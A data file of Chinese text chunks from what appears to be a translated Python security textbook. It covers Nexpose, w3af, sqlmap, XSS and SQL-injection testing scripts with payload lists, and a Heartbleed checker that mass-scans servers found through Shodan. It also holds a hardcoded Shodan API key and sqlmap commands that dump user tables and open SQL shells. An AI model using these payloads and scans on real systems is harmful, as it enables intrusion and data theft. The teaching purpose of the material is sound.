    {"text": "要安装软件，您必须从官方页面获得有效许可证： https://www.rapid7.com/products/nexpose/download/ 一旦我们通过官方页面安装了 nexpose ，我们就可以访问服务器运行的 URL。"},
    {"text": "运行 nscsvc.bat 脚本，我们将在本地主机 3780 上运行服务器： https://localhost:3780/login.jsp Windows 计算机上的默认安装在 C:\\ProgramFiles\\rapid7\\nexpose\\nsc 路径中完成。"},
    {"text": "为此，有一系列资源，也称为 资产 ，在资产中，我们定义了要分析的站点或域： 在本例中，我们将分析 IP 地址为 192.168.56.101**： 的 元可编程虚拟机** 在分析结束时，我们会看到扫描结果和检测到的漏洞： Nexpose 有一个 API ，允许我们从其他应用访问其功能；"},
    {"text": "使用 Python 访问 Nexpose API 在本节中，我们将回顾与 Nexpose 漏洞扫描器交互的 pynexpose 模块。 安装 pynexpose Python 模块 Nexpose 有一个 API，允许我们从外部应用访问其功能，从而实现用户必须从管理界面或 nexpose 控制台执行的任务的自动化。"},
    {"text": "在 Python 中，我们有 Pynexpose 模块，其代码可以在 中找到 https://code.google.com/archive/p/pynexpose/ 。 Pynexpose 模块允许从 Python 对 web 服务器上的漏洞扫描器进行编程访问。"},
    {"text": "为了从 Python 连接到 nexpose 服务器，我们使用 pynexposeHttps.py 文件中的 NeXposeServer 类。 为此，我们调用构造函数，通过参数传递服务器的 IP 地址、端口以及登录服务器管理网页时使用的用户和密码： serveraddr_nexpose = \"192.168.56.101\" port_server_nexpose = \"3780\" user_nexpose = \"user\" password_nexpose = \"password\" pynexposeHttps = pynexposeHttps . NeXposeServer ( serveraddr_nexpose , port_server_nexpose , user_nexpose , password_nexpose ) 我们可以创建一个 NexposeFrameWork 类，该类将初始化与服务器的连接，并创建一些方法来获取检测到的站点和漏洞列表。"},
    {"text": "在 siteListing() 函数中，我们正在解析执行 site_listing() 函数后返回的内容，随后找到文档的所有**“sitesummary”**元素，这些元素对应于服务器上创建的每个站点的信息。"},
    {"text": "同样，在** vulnerabilityListing() **函数中，我们正在解析执行 vulnerability_listing() 函数后返回的内容，并且一旦找到文档的所有“ 漏洞摘要 元素。"},
    {"text": "您可以在 nexpose 文件夹中的 NexposeFrameWork.py 文件中找到以下代码： from bs4 import BeautifulSoup class NexposeFrameWork : def __init__ ( self , pynexposeHttps ): self . pynexposeHttps = pynexposeHttps def siteListing ( self ): print \" \\n Sites\" print \"--------------------------\" bsoupSiteListing = BeautifulSoup ( self . pynexposeHttps . site_listing (), 'lxml' ) for site in bsoupSiteListing . findAll ( 'sitesummary' ): attrs = dict ( site . attrs ) print ( \"Description: \" + attrs [ 'description' ]) print ( \"riskscore: \" + attrs [ 'riskscore' ]) print ( \"Id: \" + attrs [ 'id' ]) print ( \"riskfactor: \" + attrs [ 'riskfactor' ]) print ( \"name: \" + attrs [ 'name' ]) print ( \" \\n \" ) 在这段代码中，我们可以看到获取漏洞列表的方法； 对于每一个，它显示与标识符、严重性、标题和描述相关的信息： def vulnerabilityListing ( self ): print ( \" \\n Vulnerabilities\" ) print ( \"--------------------------\" ) bsoupVulnerabilityListing = BeautifulSoup ( self . pynexposeHttps . vulnerability_listing (), 'lxml' ) for vulnerability in bsoupVulnerabilityListing . findAll ( 'vulnerabilitysummary' ): attrs = dict ( vulnerability . attrs ) print ( \"Id: \" + attrs [ 'id' ]) print ( \"Severity: \" + attrs [ 'severity' ]) print ( \"Title: \" + attrs [ 'title' ]) bsoupVulnerabilityDetails = BeautifulSoup ( self . pynexposeHttps . vulnerability_details ( attrs [ 'id' ]), 'lxml' ) for vulnerability_description in bsoupVulnerabilityDetails . findAll ( 'description' ): print ( \"Description: \" + vulnerability_description . text ) print ( \" \\n \" ) 在这段代码中，我们可以看到我们的主程序，我们正在初始化与连接到 nexpose 服务器的 IP 地址、端口、用户和密码相关的参数： if __name__ == \"__main__\" : serveraddr_nexpose = \"192.168.56.101\" port_server_nexpose = \"3780\" user_nexpose = \"user\" password_nexpose = \"password\" pynexposeHttps = pynexposeHttps . NeXposeServer ( serveraddr_nexpose , port_server_nexpose , user_nexpose , password_nexpose ) nexposeFrameWork = NexposeFrameWork ( pynexposeHttps ) nexposeFrameWork . siteListing () nexposeFrameWork . vulnerabilityListing () 一旦通过与 nexpose 服务器的连接创建了一个对象，我们就可以使用一些功能列出在服务器上创建的站点，并列出已执行的分析和从 web 界面生成的报告。"},
    {"text": "最后， logout 功能允许我们断开与服务器的连接并销毁创建的会话： nexposeFrameWork = NexposeFrameWork ( pynexposeHttps ) nexposeFrameWork . siteListing () nexposeFrameWork . vulnerabilityListing () pynexposeHttps . logout () 在 NexposeFrameWork 类中创建的函数使用了 pynexpose 脚本中的以下方法。"},
    {"text": "vulnerability_listing() 和 vulnerability_details() 方法负责列出所有检测到的漏洞，并返回特定漏洞的详细信息： pynexposeHttps . site_listing () pynexposeHttps . vulnerability_listing () pynexposeHttps . vulnerability_details () 这些方法在 pynexposeHttps.py 文件中的 NeXposeServer 类中定义 def site_listing ( self ): response = self . call ( \"SiteListing\" ) return etree . tostring ( response ) def vulnerability_listing ( self ): response = self . call ( \"VulnerabilityListing\" ) return etree . tostring ( response ) def vulnerability_details ( self , vulnid ): response = self . call ( \"VulnerabilityDetails\" , { \"vuln-id\" : vulnid }) return etree . tostring ( response ) 需要记住的一点是，返回的回复是 XML 格式的。"},
    {"text": "在下一个 章节 中，我们将探索使用 w3a 和 fsqlmap 等工具来检测 SQL 漏洞，以及其他用于识别服务器漏洞的工具（如 ssl 和 heartbleed）来识别 web 应用中的服务器漏洞。"},
    {"text": "允许我们解析并获取从 nexpose 服务器获取的信息的 Python 模块的名称是什么？ 允许我们连接到 NexPose 漏洞扫描器的 Python 模块的名称是什么？ 允许我们连接到 Nessus 漏洞扫描器的 Python 模块的名称是什么？"},
    {"text": "进一步阅读 在这些链接中，您可以找到更多关于 nessus 和 nexpose 的信息和官方文档： https://docs.tenable.com/nessus/Content/GettingStarted.htm https://nexpose.help.rapid7.com/docs/getting-started-with-nexpose https://help.rapid7.com/insightvm/en-us/api/index.html 如今，有很多漏洞扫描工具。 Nessus、Seccubus、openvas、著名的 Nmap 扫描器，甚至 OWASP ZAP 都是扫描网络和计算机系统漏洞的最常用工具： https://www.seccubus.com/ http://www.openvas.org/ 开放漏洞评估系统（OpenVAS）是一个免费的安全扫描平台，其大部分组件都是根据 GNU 通用公共许可证（GNU GPL）授权的。"},
    {"text": "十一、识别 Web 应用中的服务器漏洞 十一、识别 Web 应用中的服务器漏洞 原文： https://gitee.com/apachecn/apachecn-python-zh/blob/master/docs/master-py-net-sec/11.md 本章介绍了 web 应用中的主要漏洞以及我们可以在 python 生态系统中找到的工具，例如作为 web 应用中漏洞扫描工具的 w3af，以及用于检测 sql 漏洞的 sqlmap。"},
    {"text": "本章将介绍以下主题： 使用 OWASP 的 web 应用中的漏洞 w3af 作为 web 应用中的漏洞扫描器 如何使用 python 工具发现 sql 漏洞 用于测试 heartbleed 和 SSL/TLS 漏洞的 Python 脚本 技术要求 本章的示例和源代码可在 GitHub 存储库的 chapter11 文件夹中找到： https://github.com/PacktPublishing/Mastering-Python-for-Networking-and-Security 您需要在本地计算机上安装至少有 4GB 内存的 Python 发行版。"},
    {"text": "完整分类可在章节文件夹内 GitHub 存储库中的共享 OWASP.xlsx Excel 文件中找到： 在此，我们可以突出显示以下代码： **OTG-INFO-001 信息泄露：**我们可以利用 Bing、Google 和 Shodan 等搜索引擎，通过这些搜索引擎提供的运营商或傻瓜来搜索信息泄露。"},
    {"text": "例如，我们可以看到 Shodan 给我们提供了什么信息，因为我们对 IP 或域进行了搜索，通过 Shodan 的服务，我们可以看到它公开的服务和开放的端口。"},
    {"text": "**OTG-INFO-002 Web 服务器指纹识别：**我们将尝试了解我们的目标网站正在使用哪种服务器，因为我们使用的是我们可以在 Kali Linux 发行版中找到的 whatweb 工具。"},
    {"text": "**OTG-INFO-004 子域和服务器应用枚举：**我们将使用工具，为我们提供有关服务器应用中可能打开的子域、DNS 服务器、服务和端口的信息。"},
    {"text": "**OTG-INFO-006 和 OTG-INFO-007 识别入口点和网站地图：**我们可以检测网络入口的所有端点（带有 GET 和 POST 的请求和回答），我们将使用反向网络代理（ZAP、Burp 或 WebScarab）并以这样一种方式使用它的爬行器：它生成一张完整的网络及其入口点的地图。"},
    {"text": "OWASP 常见攻击 让我们看看一些最常见的攻击： SQL 注入： 当用户提供的数据作为查询的一部分未经过滤地发送给解释器，以修改原始行为、执行命令或数据库中的任意查询时，会发生 SQL 代码注入。"},
    {"text": "XSS 允许攻击者在受害者的浏览器中执行脚本，从而劫持用户会话、破坏网站或将用户指向恶意网站（ https://www.owasp.org/index.php/XSS ）。"},
    {"text": "CSRF 攻击迫使经过身份验证的受害者的浏览器向易受攻击的 web 应用发送伪造的 HTTP 请求，包括用户的会话 cookie 和任何其他自动包含的身份验证信息。 这允许攻击者强制受害者的浏览器生成易受攻击的应用解释为合法的请求（ https://www.owasp.org/index.php/CSRF ）。"},
    {"text": "敏感数据需要额外的保护方法，如数据加密，以及与浏览器交换数据时的特殊预防措施（ https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure ）。"},
    {"text": "**未验证的重定向和转发：**Web 应用经常将用户重定向和转发到其他页面或网站，并使用不可信数据确定登录页面。 如果没有正确的验证，攻击者可以将受害者重定向到网络钓鱼或恶意软件站点，或者使用转发来访问未经授权的页面。"},
    {"text": "如果由于请求站点与有效负载一起分析，我们获得的信息与用户发送给用户的信息相同，并且再次显示给用户，那么我们就有了明显的漏洞案例。"},
    {"text": "您可以在 XXS 文件夹的 URL_xss.py 文件中找到以下代码： import requests import sys from bs4 import BeautifulSoup , SoupStrainer url = 'http://testphp.vulnweb.com/search.php?test=query' data = {} response = requests . get ( url ) with open ( 'XSS-attack-vectors.txt' ) as file : for payload in file : for field in BeautifulSoup ( response . text , \"html.parser\" , parse_only = SoupStrainer ( 'input' )): print ( field ) if field . has_attr ( 'name' ): if field [ 'name' ]. lower () == \"submit\" : data [ field [ 'name' ]] = \"submit\" else : data [ field [ 'name' ]] = payload response = requests . post ( url , data = data ) if payload in response . text : print ( \"Payload \" + payload + \" returned\" ) data = {} 您可以在 XXS 文件夹的 XSS-attack-vectors.txt 文件中找到以下代码： < SCRIPT > alert ( 'XSS' ); </ SCRIPT > < script > alert ( 'XSS' ); </ script > < BODY ONLOAD = alert ( 'XSS' ) > < scrscriptipt > alert ( 'XSS' ); </ scrscriptipt > < SCR % 00 IPT > alert ( \\ \"XSS \\\" )</SCR%00IPT> 在这个屏幕截图中，我们可以看到上一个脚本的执行情况， URL_xss.py ： 我们可以在 testphp.vulnweb.com 网站上检查此漏洞： 如果我们在搜索字段中输入一个向量攻击，我们可以看到它执行我们在脚本标记之间注入的相同代码： web 应用中的 W3af 扫描器漏洞 W3af 是 web 应用攻击和审核框架的首字母缩写，是一个开源漏洞扫描器，可用于审核 web 安全性。"},
    {"text": "W3af 概述 W3af 是一款针对 web 应用的安全审计工具，分为 Attack 、 Audit 、 Exploit 、 Discovery 、 Evasion 和 Brute Force 几个模块。 W3af 中的这些模块带有几个辅助模块，例如，如果我们需要测试 web 应用中的跨站点脚本（XSS）漏洞，我们可以在 Audit 模块中选择 XSS 选项，假设有必要执行某种审计。 W3af 的主要特点是其审计系统完全基于 Python 编写的插件，因此它能够创建一个易于扩展的框架和一个用户社区，在可能出现的 web 安全故障面前为新插件的编程做出贡献。"},
    {"text": "检测和利用可用插件的漏洞包括： CSRF XPath 注入 缓冲区溢出 SQL 注入 XSS LDAP 注入 远程文件包含 在这个屏幕截图中，我们可以看到带有文档链接的 w3af 官方网站： 我们有一组预配置的配置文件，例如 OWASP TOP 10，它执行全面的漏洞分析： 它是一个框架，允许对 web 应用进行不同类型的测试，以确定此应用可能存在哪些漏洞，并根据这些漏洞对 web 基础设施或其客户端可能产生的影响详细说明其严重程度。"},
    {"text": "在“结果”选项卡中，我们可以看到特定网站的扫描结果： 在 说明 页签中，我们可以看到 sql 注入漏洞的说明： 此外，我们在站点中还发现了 跨站点脚本（XSS）漏洞 ： 该分析结果的完整报告可在共享的 testphp_vulnweb_com.pdf 文件中获得。"},
    {"text": "在本报告中，我们可以看到受所有检测到的漏洞影响的文件，例如 sql 注入： W3AF 配置文件 W3AF 中的概要文件是启用插件的保存配置，通常集中于特定的目标。"},
    {"text": "**OWASP_TOP10:**允许您在 OWASP 的主要安全漏洞中进行搜索。 有关安全漏洞的更多信息，请查看： http://www.owasp.org/index.php/OWASP_Top_Ten_Project 。"},
    {"text": "W3af 安装 W3af 是一个需要很多依赖项的 Python 工具。 W3af 安装的具体细节可以在官方文档中找到： http://docs.w3af.org/en/latest/install.html 。 安装它的要求是： Python 2.5 或更高版本**：** apt-get install python Python 包**：** apt-get install nltk python-nltk python-lxml python-svn python-fpconst python-pygooglechart python-soappy python-openssl python-scapy python-lxml python-svn 源代码在 GitHub 存储库（ 中提供 https://github.com/andresriancho/w3af ： 现在，为了证明整个环境配置正确，只需转到框架已下载的目录并执行 ./w3af_console 命令即可。"},
    {"text": "https://github.com/andresriancho/w3af-module 我们可以在 GitHub 存储库中的此文件夹中找到主控制器： https://github.com/andresriancho/w3af-module/tree/master/w3af-repo/w3af/core/controllers w3afCore 类的一个实例具有 plugins 属性，该属性允许执行多种类型的操作，例如列出特定类别的插件、激活和停用插件或为那些可配置的插件设置配置选项。 您可以在 w3af 文件夹的 w3af_plugins.py 文件中找到以下代码： from w3af.core.controlles.w3afCore import w3afCore w3af = w3afCore () #list of plugins in audit category pluginType = w3af . plugins . get_plugin_list ( 'audit' ) for plugin in pluginType : print 'Plugin:' + plugin #list of available plugin categories plugins_types = w3af . plugins . get_plugin_types () for plugin in plugins_types : print 'Plugin type:' + plugin #list of enabled plugins plugins_enabled = w3af . plugins . get_enabled_plugin ( 'audit' ) for plugin in plugins_enabled : print 'Plugin enabled:' + plugin w3af 的另一个有趣特性是，它允许您管理配置文件，其中包括与启用的配置文件和攻击目标相对应的配置文件。 您可以在 GitHub 存储库中 w3af 文件夹的 w3af_profiles.py 文件中找到以下代码： from w3af.core.controlles.w3afCore import w3afCore w3af = w3afCore () #list of profiles profiles = w3af . profiles . get_profile_list () for profile in profiles : print 'Profile desc:' + profile . get_desc () print 'Profile file:' + profile . get_profile_file () print 'Profile name:' + profile . get_name () print 'Profile target:' + profile . get_target (). get ( \"target\" ) w3af . profiles . use_profile ( 'profileName' ) w3af . profiles . save_current_to_new_profile ( 'profileName' , 'Profile description' ) 使用 Python 工具发现 sql 漏洞 本节介绍如何使用 sqlmap 渗透测试工具测试网站是否不受 SQL 注入的影响。"},
    {"text": "例如，考虑下面的 T0 段： $ variable = $ _POST [ 'input' ]; mysql_query ( \"INSERT INTO `table` (`column`) VALUES ('$variable')\" ); 如果用户输入 “value’); DROP TABLE table;–” 作为输入，则它在 sql 查询中转换的原始查询将更改数据库： INSERT INTO `table` ( `column` ) VALUES ( 'value' ); DROP TABLE table ; -- ') 识别易受 SQL 注入攻击的页面 识别存在 SQL 注入漏洞的网站的一种简单方法是在 URL 中添加一些字符，如引号、逗号或句点。"},
    {"text": "如果您观察 http://testphp.vulnweb.com/listproducts.php?cat=1 ，其中“GET”参数 cat 可能容易受到 SQL 注入的攻击，攻击者可以访问数据库中的信息。"},
    {"text": "例如，在以下 URL 中： http://testphp.vulnweb.com/listproducts.php?cat=* 如果这导致了前面的错误，我们可以肯定地说该网站容易受到 sql 注入的攻击。"},
    {"text": "在这个屏幕捕获中，当我们试图在易受攻击的参数上使用攻击向量时，我们可以看到数据库返回的错误： 使用 Python，我们可以构建一个简单的脚本，从 sql-attack-vector.txt 文本文件读取可能的 sql 攻击向量，并检查注入特定字符串后的输出。"},
    {"text": "您可以在 sql_injection 文件夹的 test_url_sql_injection.py 文件中找到以下代码： import requests url = \"http://testphp.vulnweb.com/listproducts.php?cat=\" with open ( 'sql-attack-vector.txt' ) as file : for payload in file : print ( \"Testing \" + url + payload ) response = requests . post ( url + payload ) #print(response.text) if \"mysql\" in response . text . lower (): print ( \"Injectable MySQL detected\" ) print ( \"Attack string: \" + payload ) elif \"native client\" in response . text . lower (): print ( \"Injectable MSSQL detected\" ) print ( \"Attack string: \" + payload ) elif \"syntax error\" in response . text . lower (): print ( \"Injectable PostGRES detected\" ) print ( \"Attack string: \" + payload ) elif \"ORA\" in response . text . lower (): print ( \"Injectable Oracle detected\" ) print ( \"Attack string: \" + payload ) else : print ( \"Not Injectable\" ) 您可以在 sql_injection 文件夹的 sql-attack-vector.txt 文件中找到以下代码： \" or \" a \"=\" a \" or \" x \"=\" x \" or 0=0 # \" or 0 = 0 -- \" or 1=1 or \"\"=\" \" or 1=1-- 执行 test_url_sql_injection.py 时，我们可以看到易受多种向量攻击的可注入 cat 参数： 介绍 SQLmap SQLmap 是用 Python 编写的最著名的工具之一，用于检测漏洞，如 SQL 注入。"},
    {"text": "Sqlmap 当前支持以下数据库： MySQL 神谕 PostgreSQL Microsoft SQL Server 一旦在目标主机上检测到 SQL 注入，您可以从多种选项中进行选择： 执行广泛的后端 DBMS 指纹 检索 DBMS 会话用户和数据库 枚举用户、密码哈希、权限和数据库 转储整个 DBMS 表/列或用户特定的 DBMS 表/列 运行自定义 SQL 语句 安装 SQLmap Sqlmap 预装了一些面向安全任务的 linux 发行版，如 kali linux，这是大多数渗透测试人员的首选。 但是，您可以使用 apt-get 命令在其他基于 debian 的 linux 系统上安装 sqlmap ： sudo apt - get install sqlmap 我们还可以从 GitHub 存储库中的源代码安装它– https://github.com/sqlmapproject/sqlmap ： git clone https : // github . com / sqlmapproject / sqlmap . git sqlmap - dev 您可以通过 -h 选项查看可传递给 sqlmap.py 脚本的参数集： 我们将用于基本 SQL 注入的参数如上图所示： 使用 SQLMAP 测试网站的 SQL 注入漏洞 以下是获取 sql 注入漏洞背后数据库的所有信息的主要步骤： 步骤 1：列出已有数据库的信息 首先，我们必须输入要与-u 参数一起检查的 web url。"},
    {"text": "sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs 在执行上一个命令时，我们观察到存在两个数据库， acuart 和 information_schema ： 我们得到以下输出，显示有两个可用的数据库。"},
    {"text": "对于此任务，我们可以使用 --tables 查询访问 acuart 数据库： sqlmap - u http : // testphp . vulnweb . com / listproducts . php ? cat = 1 - D acuart -- tables 在下图中，我们看到已经恢复了八个表。"},
    {"text": "通过这种方式，我们肯定知道该网站易受攻击： 步骤 3：列出特定表 的列信息 如果要查看某个表的列，可以使用下面的命令，使用 -T 指定表名，使用** --columns **查询列名。 这是我们可以尝试访问“用户”表的命令： sqlmap - u http : // testphp . vulnweb . com / listproducts . php ? cat = 1 - D acuart - T users -- columns 步骤 4：从 列转储数据 类似地，我们可以使用以下命令访问特定表中的所有信息， **--**dump 查询从 users 表中检索所有数据： sqlmap - u http : // testphp . vulnweb . com / listproducts . php ? cat = 1 - D acuart - T users -- dump 从下图中，我们可以看到我们已经访问了数据库中的数据： 其他命令 类似地，在易受攻击的网站上，我们可以通过数据库进行浏览，用其他命令提取信息。 使用此命令，我们可以从数据库中获取所有用户： $ python sqlmap . py - u [ URL ] -- users sqlmap . py - u \"http://testphp.vulnweb.com/listproducts.php?cat=*\" -- users 在此，我们获得在数据库管理系统中注册的用户： 使用此命令，我们可以从表中获取列： $ python sqlmap . py - u [ URL ] - D [ Database ] - T [ table ] -- columns sqlmap . py - u \"http://testphp.vulnweb.com/listproducts.php?cat=*\" - D acuart - T users -- columns 这里，我们从 users 表中获取列： 使用此命令，我们可以获得一个交互式 shell： $ python sqlmap . py - u [ URL ] -- sql - shell sqlmap . py - u \"http://testphp.vulnweb.com/listproducts.php?cat=*\" -- sql - shell 在这里，我们获得了一个 shell，用于使用 sql 语言查询与数据库交互： 用于检测 SQL 注入漏洞的其他工具 在 Python 生态系统中，我们可以找到其他工具，如 DorkMe 和 XScrapy，用于发现 sql 注入漏洞。"},
    {"text": "我们可以使用 requirements.txt 文件检查依赖项，并使用以下文件安装它们： pip install - r requirements . txt 以下是脚本提供的选项： 我们可以检查前面章节中与 sqlmap 使用的相同的 url ，我们可以使用为测试推荐的 --dorks vulns -v 选项参数： python DorkMe . py -- url http : // testphp . vulnweb . com / listproducts . php -- dorks vulns - v 我们可以看到，我们获得的 sql 注入漏洞影响很大： 沙皮 XSScrapy 是基于 Scrapy 的应用，它允许我们查找 XSS 漏洞和 SQL 注入类型漏洞。"},
    {"text": "要在我们的机器上安装它，我们可以克隆存储库并执行 python pip 命令和 requirements.txt 文件，其中包含应用使用的 Python 依赖项和模块： $ git clone https : // github . com / DanMcInerney / xsscrapy . git $ pip install - r requirements . txt 您需要安装的主要依赖项之一是 scrapy ： https://scrapy.org/ 。"},
    {"text": "Scrapy 是 Python 的一个框架，允许您 perform webscraping tasks, web crawling processes, and data analysis ，它允许我们递归地扫描网站的内容，并对所述内容应用一组规则来提取可能对我们有用的信息。"},
    {"text": "**XSPrapy 以命令行模式运行，并具有以下选项： 最常用的选项是将要分析的 URL（ -u /URL）参数化，并且从根 URL 开始，该工具能够跟踪内部链接以分析后续链接。"},
    {"text": "另一个有趣的参数是允许我们针对我们正在分析的站点建立最大并发连接数（ -c /-连接），这对于防止防火墙或 IDS 系统检测到攻击并阻止来自 IP 的请求非常实用。"},
    {"text": "我们可以尝试在以前发现 XSS 漏洞的站点上执行此脚本： python xsscrapy . py - u http : // testphp . vulnweb . com 在这个脚本的执行过程中，我们可以看到它检测到一个 php 站点中的 sql 注入： 此分析的执行结果可在 GitHub 存储库中的 testphp.vulnweb.com.txt 共享文件中获得。"},
    {"text": "但是，应该应用于易受攻击的 OpenSSL 版本的安全修补程序并没有尽快应用，因此在互联网上留下了易受攻击的服务器，我们可以在 Shodan 找到这些服务器。 在 Shodan 中查找易受攻击的服务器 我们可以很容易地制作一个脚本来获取服务器的结果，该服务器可能由于易受攻击的 OpenSSL 版本而容易受到 heartbleed 的攻击。 您可以在 heartbleed_shodan 文件夹的 ShodanSearchOpenSSL.py 文件中找到以下代码： import shodan import socket SHODAN_API_KEY = \"v4YpsPUJ3wjDxEqywwu6aF5OZKWj8kik\" api = shodan . Shodan ( SHODAN_API_KEY ) # Wrap the request in a try/ except block to catch errors try : # Search Shodan OpenSSL/1.0.1 results = api . search ( 'OpenSSL/1.0.1' ) # Show the results print ( 'Total Vulnerable servers: %s' % results [ 'total' ]) for result in results [ 'matches' ]: print ( 'IP: %s' % result [ 'ip_str' ]) print ( 'Hostname: %s' % socket . getfqdn ( result [ 'ip_str' ])) print ( result [ 'data' ]) except shodan . APIError as e : print ( 'Error: %s' % e ) 如图所示，易受攻击且具有 OpenSSL v1.0 的服务器总数为 3900： 如果我们从 web 界面发出请求，我们会看到更多的结果： 攻击者可以尝试访问这些服务器中的任何一个；"},
    {"text": "要了解此漏洞的影响，有必要了解“心跳”扩展的操作，它一直是 OpenSSL 操作的核心元素，因为它允许我们提高使用加密通道（如 SSL）的客户端和服务器的性能。"},
    {"text": "随后，服务器接收到所述分组，并负责编写具有称为 TLS1_HB_RESPONSE 的结构的响应消息，该响应消息将仅由在 TLS1_HB_REQUEST 结构的长度中指示的“n”字节组成。 OpenSSL 中引入的实现问题存在于对 TLS_HB_REQUEST 结构中发送的数据长度的错误验证中，因为当它要组成 TLS1_HB_RESPONSE 结构时，服务器负责定位 TLS_HB_REQUEST 结构在服务器内存中的确切位置并读取“n”有效负载基于长度字段中设置的值的字段字节数。 这意味着攻击者可以发送带有数据字节的有效负载，并在长度字段中设置任意值，该值通常小于或等于 64 KB，服务器将发送包含 64 KB 存储在服务器内存中的信息的 TLS1_HB_RESPONSE 消息。"},
    {"text": "这些数据可能包含敏感的用户信息和系统密码，因此这是一个影响数百万服务器的非常严重的漏洞，因为 OpenSSL 是 Apache 和 Ngnix 服务器广泛使用的实现。"},
    {"text": "如果服务器返回的数据包是“24”类型，则表示是具有 TLS1_HB_RESPONSE 结构的响应，如果有效载荷大于请求包中发送的有效载荷的大小，可以认为服务器易受攻击，并且它已返回与服务器内存相关的信息，否则将假定服务器已处理恶意请求，但未返回任何其他数据。"},
    {"text": "在易受攻击的服务器上运行脚本后，输出将与此处显示的类似： 要在激活 openssl 的服务器中检测此错误，我们会发送一个特定的请求，如果响应服务器等于特定的 heartbleed 负载，则服务器易受攻击，您可以访问理论上应使用 ssl 保护的信息。"},
    {"text": "对于此任务，我们定义了用于检查与“OpenSSL 1.0.1”Shodan 搜索匹配的每个服务器的漏洞的 shodanSearchVulnerable() 和 checkVulnerability() 方法。"},
    {"text": "对于 python 2.x，您可以在 heartbleed_shodan 文件夹中的 testShodan_openssl_python2.py 中找到代码。 ****对于 python 3.x，您可以在 heartbleed_shodan 文件夹中的 testShodan_openssl_python3.py 中找到代码。"},
    {"text": "****在下面的代码中，我们回顾了我们可以开发的用于搜索 shodan 服务器的主要方法，这些服务器由于 openssl 版本易受攻击而易受攻击，我们还需要检查端口 443 是否已打开： def shodanSearchVulnerable ( self , query ): results = self . shodanApi . search ( query ) # Show the results print ( 'Results found: %s' % results [ 'total' ]) print ( '-------------------------------------' ) for result in results [ 'matches' ]: try : print ( 'IP: %s' % result [ 'ip_str' ]) print ( result [ 'data' ]) host = self . obtain_host_info ( result [ 'ip_str' ]) portArray = [] for i in host [ 'data' ]: port = str ( i [ 'port' ]) portArray . append ( port ) print ( 'Checking port 443........................' ) #check heartbeat vulnerability in port 443 checkVulnerability ( result [ 'ip_str' ], '443' ) except Exception as e : print ( 'Error connecting: %s' % e ) continue except socket . timeout : print ( 'Error connecting Timeout error: %s' % e ) continue print ( '-----------------------------------------------' ) print ( 'Final Results' ) print ( '-----------------------------------------------' ) if len ( server_vulnerable ) == 0 : print ( 'No Server vulnerable found' ) if len ( server_vulnerable ) > 0 : print ( 'Server vulnerable found ' + str ( len ( server_vulnerable ))) for server in server_vulnerable : print ( 'Server vulnerable: ' + server ) print ( self . obtain_host_info ( server )) 一旦我们定义了在 shodan 中搜索的方法并检查 port 443 已打开，我们就可以使用 socket 模块特定的心脏出血漏洞进行检查： def checkVulnerability ( ip , port ): try : s = socket . socket ( socket . AF_INET , socket . SOCK_STREAM ) print ( 'Connecting with ...' + ip + ' Port: ' + port ) sys . stdout . flush () s . connect (( ip , int ( port ))) print ( 'Sending Client Request...' ) sys . stdout . flush () s . send ( hello ) print ( 'Waiting for Server Request...' ) sys . stdout . flush () while True : typ , ver , pay = recvmsg ( s ) if typ == None : print ( 'Server closed connection without sending Server Request.' ) break # Look for server hello done message. if typ == 22 and ord ( pay [ 0 ]) == 0x0E : break print ( 'Sending heartbeat request...' ) sys . stdout . flush () s . send ( hb ) if hit_hb ( s ): server_vulnerable . append ( ip ) except socket . timeout : print ( \"TimeOut error\" ) 用于测试 openssl 漏洞的其他工具 在本节中，我们将介绍一些可用于测试与 heartbleed 和证书相关的 openssl 漏洞的工具。"},
    {"text": "此测试针对易受 Heartbleed 攻击的 OpenSSL 版本，而不利用服务器，因此心跳请求不会导致服务器从内存泄漏任何数据或以未经授权的方式暴露任何数据： https://github.com/musalbas/heartbleed-masstest 。"},
    {"text": "该脚本可在 OpenSSL Heartbleed nmap 脚本页面上找到： http://nmap.org/nsedoc/scripts/ssl-heartbleed.html https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse 在 Windows 操作系统中，默认情况下，脚本位于 C:\\Program Files (x86)\\Nmap\\scripts 路径中。 在 Linux 操作系统中，默认情况下，脚本位于 /usr/share/nmap/scripts/ 路径中。 nmap - p 443 — script ssl - heartbleed [ IP Address ] 我们需要做的就是使用 Heartbleed 脚本并添加目标站点的 IP 地址。"},
    {"text": "如果我们正在分析的目标易受攻击，我们将看到： 使用 SSLyze 脚本分析 SSL/TLS 配置 SSLyze 是一个 Python 工具，它与 Python3.6 配合使用，并分析服务器的 SSL 配置以检测诸如坏证书和危险密码套件之类的问题。"},
    {"text": "此工具可在 pypi 存储库中获得，您可以从源代码或使用 pip install 命令进行安装： https://pypi.org/project/SSLyze/ https://github.com/nabla-c0d3/sslyze 此外，还需要安装一些依赖项，例如 pypi 存储库中也提供的 nassl ： https://pypi.org/project/nassl/ https://github.com/nabla-c0d3/nassl 以下是脚本提供的选项： 它提供的选项之一是 HeartbleedPlugin，用于检测此漏洞： 此外，它还提供了另一个插件，用于检测服务器正在使用的 OpenSSL 密码套件： 如果我们尝试在特定 IP 地址上执行脚本，它将返回一个包含结果的报告： 此分析的执行结果可在 GitHub 存储库中的 sslyze_72.249.130.4.txt 共享文件中获得。"},
    {"text": "其他服务 有几种在线服务允许您确定服务器是否受此漏洞的影响，以及其他用于测试服务器和域中的 ssl 版本和证书的服务，如 SSLLAB fror qualys 在这些链接中，我们可以使用一些服务来进行此类测试： https://filippo.io/Heartbleed https://www.ssllabs.com/ssltest/index.html qualys 在线服务以 报告 的形式返回结果，我们在报告中看到服务器使用的 openssl 版本可能存在的问题： 我们还可以详细查看 SSL/TLS 版本和有关可能漏洞的信息： 使用 Shodan 服务，您可以看到与服务器和 SSL 证书中检测到的 CVE 漏洞相关的更多信息。"},
    {"text": "进一步阅读 在以下链接中，您将找到有关本章中提到的工具的更多信息： https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ https://blog.sqreen.io/preventing-sql-injections-in-python/ https://hackertarget.com/sqlmaptutorial https://packetstormsecurity.com/files/tags/python https://packetstormsecurity.com/files/90362/Simple-Log-File-Analyzer 1.0.html https://github.com/mpgn/heartbleed-PoC **********"},
